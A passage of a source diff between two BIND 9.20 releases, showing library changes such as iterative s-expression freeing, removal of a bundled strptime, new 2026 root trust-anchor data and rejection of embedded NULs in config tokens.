bind9-9.20.29/lib/isc/mem.c 2026-09-11 19:41:01.562332458 +0000 +++ bind9-9.20.30/lib/isc/mem.c 2026-10-12 13:12:08.477901408 +0000 @@ -303,15 +303,7 @@ goto unlock; } -#ifdef __COVERITY__ - /* - * Use simple conversion from pointer to hash to avoid - * tainting 'ptr' due to byte swap in isc_hash32. - */ - hash = (uintptr_t)ptr >> 3; -#else hash = isc_hash32(&ptr, sizeof(ptr), true); -#endif idx = hash % DEBUG_TABLE_COUNT; dl = mallocx(dlsize, mctx->jemalloc_flags); @@ -348,15 +340,7 @@ goto unlock; } -#ifdef __COVERITY__ - /* - * Use simple conversion from pointer to hash to avoid - * tainting 'ptr' due to byte swap in isc_hash32. - */ - hash = (uintptr_t)ptr >> 3; -#else hash = isc_hash32(&ptr, sizeof(ptr), true); -#endif idx = hash % DEBUG_TABLE_COUNT; dl = ISC_LIST_HEAD(mctx->debuglist[idx]); @@ -406,7 +390,6 @@ /*! * Perform a free, doing memory filling and overrun detection as necessary. */ -/* coverity[+free : arg-1] */ static void mem_put(isc_mem_t *ctx, void *mem, size_t size, int flags) { ADJUST_ZERO_ALLOCATION_SIZE(size); @@ -1194,7 +1177,6 @@ return item; } -/* coverity[+free : arg-1] */ void isc__mempool_put(isc_mempool_t *restrict mpctx, void *mem FLARG) { element *restrict item = NULL; diff -Nru bind9-9.20.29/lib/isc/time.c bind9-9.20.30/lib/isc/time.c --- bind9-9.20.29/lib/isc/time.c 2026-09-11 19:41:01.568332602 +0000 +++ bind9-9.20.30/lib/isc/time.c 2026-10-12 13:12:08.483901536 +0000 @@ -27,7 +27,6 @@ #include #include #include -#include #include #define ISC_VALID_TIME(t) (t != NULL && t->nanoseconds < NS_PER_SEC) @@ -371,11 +370,11 @@ REQUIRE(buf != NULL); REQUIRE(t != NULL); - p = isc_tm_strptime(buf, "%a, %d %b %Y %H:%M:%S", &t_tm); + p = strptime(buf, "%a, %d %b %Y %H:%M:%S", &t_tm); if (p == NULL) { return ISC_R_UNEXPECTED; } - when = isc_tm_timegm(&t_tm); + when = timegm(&t_tm); if (when == -1) { return ISC_R_UNEXPECTED; } diff -Nru bind9-9.20.29/lib/isc/tls.c bind9-9.20.30/lib/isc/tls.c --- bind9-9.20.29/lib/isc/tls.c 2026-09-11 19:41:01.568332602 +0000 +++ bind9-9.20.30/lib/isc/tls.c 2026-10-12 13:12:08.484901558 +0000 @@ -206,7 +206,8 @@ */ static void sslkeylogfile_init(isc_tlsctx_t *ctx) { - if (getenv("SSLKEYLOGFILE") != NULL) { + const char *sslkeylogfile = getenv("SSLKEYLOGFILE"); + if (sslkeylogfile != NULL && *sslkeylogfile != 0) { SSL_CTX_set_keylog_callback(ctx, sslkeylogfile_append); } } diff -Nru bind9-9.20.29/lib/isc/tm.c bind9-9.20.30/lib/isc/tm.c --- bind9-9.20.29/lib/isc/tm.c 2026-09-11 19:41:01.569332626 +0000 +++ bind9-9.20.30/lib/isc/tm.c 1970-01-01 00:00:00.000000000 +0000 @@ -1,467 +0,0 @@ -/* - * Copyright (C) Internet Systems Consortium, Inc. ("ISC") - * - * SPDX-License-Identifier: MPL-2.0 AND BSD-2-Clause - * - * This Source Code Form is subject to the terms of the Mozilla Public - * License, v. 2.0. If a copy of the MPL was not distributed with this - * file, you can obtain one at https://mozilla.org/MPL/2.0/. - * - * See the COPYRIGHT file distributed with this work for additional - * information regarding copyright ownership. - */ - -/*- - * Copyright (c) 1997, 1998 The NetBSD Foundation, Inc. - * All rights reserved. - * - * This code was contributed to The NetBSD Foundation by Klaus Klein. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS - * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR - * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS - * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - * POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include -#include -#include -#include - -#include -#include - -/* - * Portable conversion routines for struct tm, replacing - * timegm() and strptime(), which are not available on all - * platforms and don't always behave the same way when they - * are. - */ - -/* - * We do not implement alternate representations. However, we always - * check whether a given modifier is allowed for a certain conversion. - */ -#define ALT_E 0x01 -#define ALT_O 0x02 -#define LEGAL_ALT(x) \ - { \ - if ((alt_format & ~(x)) != 0) \ - return ((0)); \ - } - -#ifndef TM_YEAR_BASE -#define TM_YEAR_BASE 1900 -#endif /* ifndef TM_YEAR_BASE */ - -static const char *day[7] = { "Sunday", "Monday", "Tuesday", "Wednesday", - "Thursday", "Friday", "Saturday" }; -static const char *abday[7] = { - "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" -}; -static const char *mon[12] = { - "January", "February", "March", "April", "May", "June", - "July", "August", "September", "October", "November", "December" -}; -static const char *abmon[12] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", - "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; -static const char *am_pm[2] = { "AM", "PM" }; - -static int -conv_num(const char **buf, int *dest, int llim, int ulim) { - int result = 0; - - /* The limit also determines the number of valid digits. */ - int rulim = ulim; - - if (!isdigit((unsigned char)**buf)) { - return 0; - } - - do { - result = 10 * result + *(*buf)++ - '0'; - rulim /= 10; - } while ((result * 10 <= ulim) && rulim && - isdigit((unsigned char)**buf)); - - if (result < llim || result > ulim) { - return 0; - } - - *dest = result; - return 1; -} - -time_t -isc_tm_timegm(struct tm *tm) { - time_t ret; - int i, yday = 0, leapday; - int mdays[] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30 }; - - leapday = ((((tm->tm_year + 1900) % 4) == 0 && - ((tm->tm_year + 1900) % 100) != 0) || - ((tm->tm_year + 1900) % 400) == 0) - ? 1 - : 0; - mdays[1] += leapday; - - yday = tm->tm_mday - 1; - for (i = 1; i <= tm->tm_mon; i++) { - yday += mdays[i - 1]; - } - ret = tm->tm_sec + (60 * tm->tm_min) + (3600 * tm->tm_hour) + - (86400 * - (yday + ((tm->tm_year - 70) * 365) + ((tm->tm_year - 69) / 4) - - ((tm->tm_year - 1) / 100) + ((tm->tm_year + 299) / 400))); - return ret; -} - -char * -isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm) { - char c; - const char *bp; - size_t len = 0; - int alt_format, i, split_year = 0; - - REQUIRE(buf != NULL); - REQUIRE(fmt != NULL); - REQUIRE(tm != NULL); - - memset(tm, 0, sizeof(struct tm)); - - bp = buf; - - while ((c = *fmt) != '\0') { - /* Clear `alternate' modifier prior to new conversion. */ - alt_format = 0; - - /* Eat up white-space. */ - if (isspace((unsigned char)c)) { - while (isspace((unsigned char)*bp)) { - bp++; - } - - fmt++; - continue; - } - - if ((c = *fmt++) != '%') { - goto literal; - } - - again: - switch (c = *fmt++) { - case '%': /* "%%" is converted to "%". */ - literal: - if (c != *bp++) { - return 0; - } - break; - - /* - * "Alternative" modifiers. Just set the appropriate flag - * and start over again. - */ - case 'E': /* "%E?" alternative conversion modifier. */ - LEGAL_ALT(0); - alt_format |= ALT_E; - goto again; - - case 'O': /* "%O?" alternative conversion modifier. */ - LEGAL_ALT(0); - alt_format |= ALT_O; - goto again; - - /* - * "Complex" conversion rules, implemented through recursion. - */ - case 'c': /* Date and time, using the locale's format. */ - LEGAL_ALT(ALT_E); - if (!(bp = isc_tm_strptime(bp, "%x %X", tm))) { - return 0; - } - break; - - case 'D': /* The date as "%m/%d/%y". */ - LEGAL_ALT(0); - if (!(bp = isc_tm_strptime(bp, "%m/%d/%y", tm))) { - return 0; - } - break; - - case 'R': /* The time as "%H:%M". */ - LEGAL_ALT(0); - if (!(bp = isc_tm_strptime(bp, "%H:%M", tm))) { - return 0; - } - break; - - case 'r': /* The time in 12-hour clock representation. */ - LEGAL_ALT(0); - if (!(bp = isc_tm_strptime(bp, "%I:%M:%S %p", tm))) { - return 0; - } - break; - - case 'T': /* The time as "%H:%M:%S". */ - LEGAL_ALT(0); - if (!(bp = isc_tm_strptime(bp, "%H:%M:%S", tm))) { - return 0; - } - break; - - case 'X': /* The time, using the locale's format. */ - LEGAL_ALT(ALT_E); - if (!(bp = isc_tm_strptime(bp, "%H:%M:%S", tm))) { - return 0; - } - break; - - case 'x': /* The date, using the locale's format. */ - LEGAL_ALT(ALT_E); - if (!(bp = isc_tm_strptime(bp, "%m/%d/%y", tm))) { - return 0; - } - break; - - /* - * "Elementary" conversion rules. - */ - case 'A': /* The day of week, using the locale's form. */ - case 'a': - LEGAL_ALT(0); - for (i = 0; i < 7; i++) { - /* Full name. */ - len = strlen(day[i]); - if (strncasecmp(day[i], bp, len) == 0) { - break; - } - - /* Abbreviated name. */ - len = strlen(abday[i]); - if (strncasecmp(abday[i], bp, len) == 0) { - break; - } - } - - /* Nothing matched. */ - if (i == 7) { - return 0; - } - - tm->tm_wday = i; - bp += len; - break; - - case 'B': /* The month, using the locale's form. */ - case 'b': - case 'h': - LEGAL_ALT(0); - for (i = 0; i < 12; i++) { - /* Full name. */ - len = strlen(mon[i]); - if (strncasecmp(mon[i], bp, len) == 0) { - break; - } - - /* Abbreviated name. */ - len = strlen(abmon[i]); - if (strncasecmp(abmon[i], bp, len) == 0) { - break; - } - } - - /* Nothing matched. */ - if (i == 12) { - return 0; - } - - tm->tm_mon = i; - bp += len; - break; - - case 'C': /* The century number. */ - LEGAL_ALT(ALT_E); - if (!(conv_num(&bp, &i, 0, 99))) { - return 0; - } - - if (split_year) { - tm->tm_year = (tm->tm_year % 100) + (i * 100); - } else { - tm->tm_year = i * 100; - split_year = 1; - } - break; - - case 'd': /* The day of month. */ - case 'e': - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &tm->tm_mday, 1, 31))) { - return 0; - } - break; - - case 'k': /* The hour (24-hour clock representation). */ - LEGAL_ALT(0); - FALLTHROUGH; - case 'H': - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &tm->tm_hour, 0, 23))) { - return 0; - } - break; - - case 'l': /* The hour (12-hour clock representation). */ - LEGAL_ALT(0); - FALLTHROUGH; - case 'I': - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &tm->tm_hour, 1, 12))) { - return 0; - } - if (tm->tm_hour == 12) { - tm->tm_hour = 0; - } - break; - - case 'j': /* The day of year. */ - LEGAL_ALT(0); - if (!(conv_num(&bp, &i, 1, 366))) { - return 0; - } - tm->tm_yday = i - 1; - break; - - case 'M': /* The minute. */ - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &tm->tm_min, 0, 59))) { - return 0; - } - break; - - case 'm': /* The month. */ - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &i, 1, 12))) { - return 0; - } - tm->tm_mon = i - 1; - break; - - case 'p': /* The locale's equivalent of AM/PM. */ - LEGAL_ALT(0); - /* AM? */ - if (strcasecmp(am_pm[0], bp) == 0) { - if (tm->tm_hour > 11) { - return 0; - } - - bp += strlen(am_pm[0]); - break; - } - /* PM? */ - else if (strcasecmp(am_pm[1], bp) == 0) - { - if (tm->tm_hour > 11) { - return 0; - } - - tm->tm_hour += 12; - bp += strlen(am_pm[1]); - break; - } - - /* Nothing matched. */ - return 0; - - case 'S': /* The seconds. */ - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &tm->tm_sec, 0, 61))) { - return 0; - } - break; - - case 'U': /* The week of year, beginning on sunday. */ - case 'W': /* The week of year, beginning on monday. */ - LEGAL_ALT(ALT_O); - /* - * XXX This is bogus, as we can not assume any valid - * information present in the tm structure at this - * point to calculate a real value, so just check the - * range for now. - */ - if (!(conv_num(&bp, &i, 0, 53))) { - return 0; - } - break; - - case 'w': /* The day of week, beginning on sunday. */ - LEGAL_ALT(ALT_O); - if (!(conv_num(&bp, &tm->tm_wday, 0, 6))) { - return 0; - } - break; - - case 'Y': /* The year. */ - LEGAL_ALT(ALT_E); - if (!(conv_num(&bp, &i, 0, 9999))) { - return 0; - } - - tm->tm_year = i - TM_YEAR_BASE; - break; - - case 'y': /* The year within 100 years of the epoch. */ - LEGAL_ALT(ALT_E | ALT_O); - if (!(conv_num(&bp, &i, 0, 99))) { - return 0; - } - - if (split_year) { - tm->tm_year = ((tm->tm_year / 100) * 100) + i; - break; - } - split_year = 1; - if (i <= 68) { - tm->tm_year = i + 2000 - TM_YEAR_BASE; - } else { - tm->tm_year = i + 1900 - TM_YEAR_BASE; - } - break; - - /* - * Miscellaneous conversions. - */ - case 'n': /* Any kind of white-space. */ - case 't': - LEGAL_ALT(0); - while (isspace((unsigned char)*bp)) { - bp++; - } - break; - - default: /* Unknown/unsupported conversion. */ - return 0; - } - } - - /* LINTED functional specification */ - return UNCONST(bp); -} diff -Nru bind9-9.20.29/lib/isc/work.c bind9-9.20.30/lib/isc/work.c --- bind9-9.20.29/lib/isc/work.c 2026-09-11 19:41:01.569332626 +0000 +++ bind9-9.20.30/lib/isc/work.c 2026-10-12 13:12:08.484901558 +0000 @@ -110,14 +110,22 @@ while (futex_noasync(&thread->state, FUTEX_WAIT, THREAD_WAITING, NULL, NULL, 0) != 0) { - if (errno == EWOULDBLOCK) { + switch (errno) { + case EWOULDBLOCK: + goto out; + case EINTR: + case ECANCELED: + /* + * Retry if interrupted by a signal. OpenBSD returns + * ECANCELED instead of EINTR when SA_RESTART is set. + */ break; - } else if (errno != EINTR) { + default: FATAL_ERROR("futex_noasync(FUTEX_WAIT): %s", strerror(errno)); } - /* Or retry if interrupted by signal. */ } +out: rcu_thread_online(); } diff -Nru bind9-9.20.29/lib/isccc/alist.c bind9-9.20.30/lib/isccc/alist.c --- bind9-9.20.29/lib/isccc/alist.c 2026-09-11 19:41:01.569332626 +0000 +++ bind9-9.20.30/lib/isccc/alist.c 2026-10-12 13:12:08.485901579 +0000 @@ -143,7 +143,7 @@ if (caar->type == ISCCC_SEXPRTYPE_STRING && strcmp(caar->value.as_string, key) == 0) { - CDR(prev) = CDR(rest); + isccc_sexpr_setcdr(prev, CDR(rest)); CDR(rest) = NULL; isccc_sexpr_free(&rest); break; @@ -184,7 +184,7 @@ * We've already got an entry for this key. Replace it. */ isccc_sexpr_free(&CDR(kv)); - CDR(kv) = value; + isccc_sexpr_setcdr(kv, value); } return kv; diff -Nru bind9-9.20.29/lib/isccc/include/isccc/sexpr.h bind9-9.20.30/lib/isccc/include/isccc/sexpr.h --- bind9-9.20.29/lib/isccc/include/isccc/sexpr.h 2026-09-11 19:41:01.570332650 +0000 +++ bind9-9.20.30/lib/isccc/include/isccc/sexpr.h 2026-10-12 13:12:08.485901579 +0000 @@ -44,6 +44,7 @@ struct isccc_dottedpair { isccc_sexpr_t *car; isccc_sexpr_t *cdr; + isccc_sexpr_t *parent; }; /*% iscc_sexpr structure */ @@ -62,6 +63,7 @@ #define ISCCC_SEXPRTYPE_DOTTEDPAIR 0x03 #define ISCCC_SEXPRTYPE_BINARY 0x04 +/* Do not assign, use isccc_sexpr_setcar/setcdr() to keep parent valid. */ #define ISCCC_SEXPR_CAR(s) (s)->value.as_dottedpair.car #define ISCCC_SEXPR_CDR(s) (s)->value.as_dottedpair.cdr @@ -81,7 +83,7 @@ isccc_sexpr_free(isccc_sexpr_t **sexprp); void -isccc_sexpr_print(isccc_sexpr_t *sexpr, FILE *stream); +isccc_sexpr_print(const isccc_sexpr_t *sexpr, FILE *stream); isccc_sexpr_t * isccc_sexpr_car(isccc_sexpr_t *list); diff -Nru bind9-9.20.29/lib/isccc/sexpr.c bind9-9.20.30/lib/isccc/sexpr.c --- bind9-9.20.29/lib/isccc/sexpr.c 2026-09-11 19:41:01.571332674 +0000 +++ bind9-9.20.30/lib/isccc/sexpr.c 2026-10-12 13:12:08.486901601 +0000 @@ -41,8 +41,16 @@ static isccc_sexpr_t sexpr_t = { ISCCC_SEXPRTYPE_T, { NULL } }; -#define CAR(s) (s)->value.as_dottedpair.car -#define CDR(s) (s)->value.as_dottedpair.cdr +#define CAR(s) (s)->value.as_dottedpair.car +#define CDR(s) (s)->value.as_dottedpair.cdr +#define PARENT(s) (s)->value.as_dottedpair.parent + +static void +set_parent(isccc_sexpr_t *child, isccc_sexpr_t *parent) { + if (child != NULL && child->type == ISCCC_SEXPRTYPE_DOTTEDPAIR) { + PARENT(child) = parent; + } +} isccc_sexpr_t * isccc_sexpr_cons(isccc_sexpr_t *car, isccc_sexpr_t *cdr) { @@ -55,6 +63,9 @@ sexpr->type = ISCCC_SEXPRTYPE_DOTTEDPAIR; CAR(sexpr) = car; CDR(sexpr) = cdr; + PARENT(sexpr) = NULL; + set_parent(car, sexpr); + set_parent(cdr, sexpr); return sexpr; } @@ -122,8 +133,8 @@ void isccc_sexpr_free(isccc_sexpr_t **sexprp) { - isccc_sexpr_t *sexpr; - isccc_sexpr_t *item; + isccc_sexpr_t *root = NULL; + isccc_sexpr_t *child, *sexpr, *parent; REQUIRE(sexprp != NULL); @@ -132,18 +143,44 @@ if (sexpr == NULL) { return; } + switch (sexpr->type) { case ISCCC_SEXPRTYPE_STRING: free(sexpr->value.as_string); break; case ISCCC_SEXPRTYPE_DOTTEDPAIR: - item = CAR(sexpr); - if (item != NULL) { - isccc_sexpr_free(&item); - } - item = CDR(sexpr); - if (item != NULL) { - isccc_sexpr_free(&item); + root = sexpr; + /* Iterative post-order depth-first traversal. */ + for (;;) { + child = CAR(sexpr) != NULL ? CAR(sexpr) : CDR(sexpr); + /* Descend into pair, free leaf. */ + if (child != NULL) { + if (child->type == ISCCC_SEXPRTYPE_DOTTEDPAIR) { + INSIST(PARENT(child) == sexpr); + sexpr = child; + } else if (CAR(sexpr) == child) { + isccc_sexpr_free(&CAR(sexpr)); + } else { + isccc_sexpr_free(&CDR(sexpr)); + } + continue; + } + + /* No children left. */ + if (sexpr == root) { + break; + } + + /* Free empty node, go up. */ + parent = PARENT(sexpr); + if (CAR(parent) == sexpr) { + CAR(parent) = NULL; + } else { + INSIST(CDR(parent) == sexpr); + CDR(parent) = NULL; + } + free(sexpr); + sexpr = parent; } break; case ISCCC_SEXPRTYPE_BINARY: @@ -154,7 +191,7 @@ } static bool -printable(isccc_region_t *r) { +printable(const isccc_region_t *r) { unsigned char *curr; curr = r->rstart; @@ -169,8 +206,8 @@ } void -isccc_sexpr_print(isccc_sexpr_t *sexpr, FILE *stream) { - isccc_sexpr_t *cdr; +isccc_sexpr_print(const isccc_sexpr_t *sexpr, FILE *stream) { + const isccc_sexpr_t *root, *car, *cdr; unsigned int size, i; unsigned char *curr; @@ -189,21 +226,49 @@ fprintf(stream, "\"%s\"", sexpr->value.as_string); break; case ISCCC_SEXPRTYPE_DOTTEDPAIR: + root = sexpr; fprintf(stream, "("); - do { - isccc_sexpr_print(CAR(sexpr), stream); - cdr = CDR(sexpr); - if (cdr != NULL) { - fprintf(stream, " "); - if (cdr->type != ISCCC_SEXPRTYPE_DOTTEDPAIR) { - fprintf(stream, ". "); + while (sexpr != NULL) { + car = CAR(sexpr); + if (car != NULL && + car->type == ISCCC_SEXPRTYPE_DOTTEDPAIR) + { + fprintf(stream, "("); + sexpr = car; + continue; + } + isccc_sexpr_print(car, stream); + + /* + * Print cdr; at list end, close it and ascend to + * enclosing cell. + */ + for (;;) { + cdr = CDR(sexpr); + if (cdr != NULL && + cdr->type == ISCCC_SEXPRTYPE_DOTTEDPAIR) + { + fprintf(stream, " "); + break; + } + if (cdr != NULL) { + fprintf(stream, " . "); isccc_sexpr_print(cdr, stream); + } + fprintf(stream, ")"); + while (sexpr != root && + CDR(PARENT(sexpr)) == sexpr) + { + sexpr = PARENT(sexpr); + } + if (sexpr == root) { cdr = NULL; + break; } + sexpr = PARENT(sexpr); } sexpr = cdr; - } while (sexpr != NULL); - fprintf(stream, ")"); + } break; case ISCCC_SEXPRTYPE_BINARY: size = REGION_SIZE(sexpr->value.as_region); @@ -241,6 +306,7 @@ REQUIRE(pair != NULL && pair->type == ISCCC_SEXPRTYPE_DOTTEDPAIR); CAR(pair) = car; + set_parent(car, pair); } void @@ -248,6 +314,7 @@ REQUIRE(pair != NULL && pair->type == ISCCC_SEXPRTYPE_DOTTEDPAIR); CDR(pair) = cdr; + set_parent(cdr, pair); } isccc_sexpr_t * @@ -270,6 +337,7 @@ /* Nothing */ } CDR(last) = elt; + PARENT(elt) = last; return elt; } diff -Nru bind9-9.20.29/lib/isccfg/aclconf.c bind9-9.20.30/lib/isccfg/aclconf.c --- bind9-9.20.29/lib/isccfg/aclconf.c 2026-09-11 19:41:01.571332674 +0000 +++ bind9-9.20.30/lib/isccfg/aclconf.c 2026-10-12 13:12:08.486901601 +0000 @@ -585,12 +585,14 @@ sizeof(de.geoip_elem.as_string)); } else if (strcasecmp(stype, "asnum") == 0) { const char *s = search; + const char *tail; uint32_t val; /* check asnum validity */ subtype = dns_geoip_as_asnum; - if (strncasecmp(s, "AS", 2) == 0) { - s += 2; + tail = isc_string_casestripprefix(s, "AS"); + if (tail != NULL) { + s = tail; } if (isc_parse_uint32(&val, s, 10) != ISC_R_SUCCESS) { cfg_obj_log(obj, lctx, ISC_LOG_ERROR, diff -Nru bind9-9.20.29/lib/isccfg/check.c bind9-9.20.30/lib/isccfg/check.c --- bind9-9.20.29/lib/isccfg/check.c 2026-09-11 19:41:01.572332698 +0000 +++ bind9-9.20.30/lib/isccfg/check.c 2026-10-12 13:12:08.487901622 +0000 @@ -4828,6 +4828,7 @@ #define ROOT_KSK_ANY 0x03 #define ROOT_KSK_2010 0x04 #define ROOT_KSK_2017 0x08 +#define ROOT_KSK_2026 0x10 static isc_result_t check_trust_anchor(const cfg_obj_t *key, bool managed, unsigned int *flagsp, @@ -4911,6 +4912,34 @@ 0xca, 0x51, 0x9a, 0xf2, 0xcb, 0x9b, 0x5f, 0x63, 0x67, 0xe9, 0x4c, 0x0d, 0x47, 0x50, 0x24, 0x51, 0x35, 0x7b, 0xe1, 0xb5 }; + static const unsigned char root_ksk_2026[] = { + 0x03, 0x01, 0x00, 0x01, 0xaf, 0x7a, 0x8d, 0xeb, 0xa4, 0x9d, + 0x99, 0x5a, 0x79, 0x2a, 0xef, 0xc8, 0x02, 0x63, 0xe9, 0x91, + 0xef, 0xdb, 0xc8, 0x61, 0x38, 0xa9, 0x31, 0xde, 0xb2, 0xc6, + 0x5d, 0x56, 0x82, 0xea, 0xb5, 0xd3, 0xb0, 0x37, 0x38, 0xe3, + 0xdf, 0xdc, 0x89, 0xd9, 0x6d, 0xa6, 0x4c, 0x86, 0xc0, 0x22, + 0x4d, 0x9c, 0xe0, 0x25, 0x14, 0xd2, 0x85, 0xda, 0x30, 0x68, + 0xb1, 0x90, 0x54, 0xe5, 0xe7, 0x87, 0xb2, 0x96, 0x90, 0x58, + 0xe9, 0x8e, 0x12, 0x56, 0x6c, 0x8c, 0x80, 0x8c, 0x40, 0xc0, + 0xb7, 0x69, 0xe1, 0xdb, 0x1a, 0x24, 0xa1, 0xbd, 0x9b, 0x31, + 0xe3, 0x03, 0x18, 0x4a, 0x31, 0xfc, 0x7b, 0xb5, 0x6b, 0x85, + 0xbb, 0xba, 0x8a, 0xbc, 0x02, 0xcd, 0x50, 0x40, 0xa4, 0x44, + 0xa3, 0x6d, 0x47, 0x69, 0x59, 0x69, 0x84, 0x9e, 0x16, 0xad, + 0x85, 0x6b, 0xb5, 0x8e, 0x8f, 0xac, 0x88, 0x55, 0x22, 0x44, + 0x00, 0x31, 0x9b, 0xda, 0xb2, 0x24, 0xd8, 0x3f, 0xc0, 0xe6, + 0x6a, 0xab, 0x32, 0xff, 0x74, 0xbf, 0xea, 0xf0, 0xf9, 0x1c, + 0x45, 0x4e, 0x68, 0x50, 0xa1, 0x29, 0x52, 0x07, 0xbb, 0xd4, + 0xcd, 0xde, 0x8f, 0x6f, 0xfb, 0x08, 0xfa, 0xa9, 0x75, 0x5c, + 0x2e, 0x32, 0x84, 0xef, 0xa0, 0x1f, 0x99, 0x39, 0x3e, 0x18, + 0x78, 0x6c, 0xb1, 0x32, 0xf1, 0xe6, 0x6e, 0xbc, 0x65, 0x17, + 0x31, 0x8e, 0x1c, 0xe8, 0xa3, 0xb7, 0x33, 0x7e, 0xbb, 0x54, + 0xd0, 0x35, 0xab, 0x57, 0xd9, 0x70, 0x6e, 0xcd, 0x93, 0x50, + 0xd4, 0xaf, 0xac, 0xd8, 0x25, 0xe4, 0x3c, 0x86, 0x68, 0xee, + 0xce, 0x89, 0x81, 0x9c, 0xaf, 0x68, 0x17, 0xaf, 0x62, 0xdc, + 0x4f, 0xbd, 0x82, 0xf0, 0xe3, 0x3f, 0x66, 0x47, 0xb2, 0xb6, + 0xbd, 0xa1, 0x75, 0xf1, 0x46, 0x07, 0xf5, 0x9f, 0x46, 0x35, + 0x45, 0x1e, 0x6b, 0x27, 0xdf, 0x28, 0x2e, 0xf7, 0x3d, 0x87 + }; static const unsigned char root_ds_1_2017[] = { 0xae, 0x1e, 0xa5, 0xb9, 0x74, 0xd4, 0xc8, 0x58, 0xb7, 0x40, 0xbd, 0x03, 0xe3, 0xce, 0xd7, 0xeb, 0xfc, 0xbd, 0x17, 0x24 @@ -4921,6 +4950,12 @@ 0x58, 0xe8, 0x80, 0x40, 0x9b, 0xbc, 0x68, 0x34, 0x57, 0x10, 0x42, 0x37, 0xc7, 0xf8, 0xec, 0x8D }; + static const unsigned char root_ds_2_2026[] = { + 0x68, 0x3D, 0x2D, 0x0A, 0xCB, 0x8C, 0x9B, 0x71, + 0x2A, 0x19, 0x48, 0xB2, 0x7F, 0x74, 0x12, 0x19, + 0x29, 0x8D, 0x0A, 0x45, 0x0D, 0x61, 0x2C, 0x48, + 0x3A, 0xF4, 0x44, 0xA4, 0xC0, 0xFB, 0x2B, 0x16 + }; /* if DNSKEY, flags; if DS, key tag */ rdata1 = cfg_obj_asuint32(cfg_tuple_get(key, "rdata1")); @@ -5045,6 +5080,14 @@ { *flagsp |= ROOT_KSK_2017; } + if (rdata1 == 257 && rdata2 == 3 && rdata3 == 8 && + (isc_buffer_usedlength(&b) == + sizeof(root_ksk_2026)) && + memcmp(data, root_ksk_2026, + sizeof(root_ksk_2026)) == 0) + { + *flagsp |= ROOT_KSK_2026; + } } break; @@ -5102,6 +5145,15 @@ { *flagsp |= ROOT_KSK_2017; } + + if (rdata1 == 38696 && rdata2 == 8 && rdata3 == 2 && + (isc_buffer_usedlength(&b) == + sizeof(root_ds_2_2026)) && + memcmp(data, root_ds_2_2026, + sizeof(root_ds_2_2026)) == 0) + { + *flagsp |= ROOT_KSK_2026; + } } break; } @@ -5940,7 +5992,10 @@ } } - if ((taflags & ROOT_KSK_STATIC) != 0) { + if (((taflags & ROOT_KSK_2017) != 0 || + (taflags & ROOT_KSK_2026) != 0) && + (taflags & ROOT_KSK_STATIC) != 0) + { cfg_obj_log(check_keys[i], logctx, ISC_LOG_WARNING, "trusted-keys entry for the root " @@ -5997,7 +6052,10 @@ } } - if ((taflags & ROOT_KSK_STATIC) != 0) { + if (((taflags & ROOT_KSK_2017) != 0 || + (taflags & ROOT_KSK_2026) != 0) && + (taflags & ROOT_KSK_STATIC) != 0) + { cfg_obj_log(check_keys[i], logctx, ISC_LOG_WARNING, "static entry for the root " @@ -6017,6 +6075,43 @@ "the updated 2017 key"); } + if ((taflags & ROOT_KSK_2010) != 0 && + (taflags & ROOT_KSK_2026) == 0) + { + cfg_obj_log(check_keys[i], logctx, + ISC_LOG_WARNING, + "initial-key entry for the root " + "zone uses the 2010 key without " + "the updated 2026 key"); + } + + if ((taflags & ROOT_KSK_2017) != 0 && + (taflags & ROOT_KSK_2026) == 0) + { + cfg_obj_log(check_keys[i], logctx, + ISC_LOG_WARNING, + "initial-key entry for the root " + "zone uses the 2017 key without " + "the updated 2026 key"); + } + + /* + * Warn about missing 2017 trust anchor until + * 23:59 October 11 2026 UTC. After this the IANA root + * zone is expected to be signed signed with the 2026 + * key. + */ + if (time(NULL) < 1791763140 && + (taflags & ROOT_KSK_2017) == 0 && + (taflags & ROOT_KSK_2026) != 0) + { + cfg_obj_log(check_keys[i], logctx, + ISC_LOG_WARNING, + "initial-key entry for the root " + "zone uses the updated 2026 key " + "without the 2017 key"); + } + dflags |= taflags; } } diff -Nru bind9-9.20.29/lib/isccfg/parser.c bind9-9.20.30/lib/isccfg/parser.c --- bind9-9.20.29/lib/isccfg/parser.c 2026-09-11 19:41:01.574332746 +0000 +++ bind9-9.20.30/lib/isccfg/parser.c 2026-10-12 13:12:08.489901665 +0000 @@ -3490,6 +3490,14 @@ goto redo; } pctx->seen_eof = true; + } else if (isc_token_hasnul(&pctx->token)) { + /* + * An embedded NUL would be silently truncated once + * the token is turned into a C string, so reject it. + */ + cfg_parser_error(pctx, CFG_LOG_NEAR, + "string contains embedded NUL"); + result = ISC_R_UNEXPECTEDTOKEN; } break; diff -Nru bind9-9.20.29/lib/ns/client.c 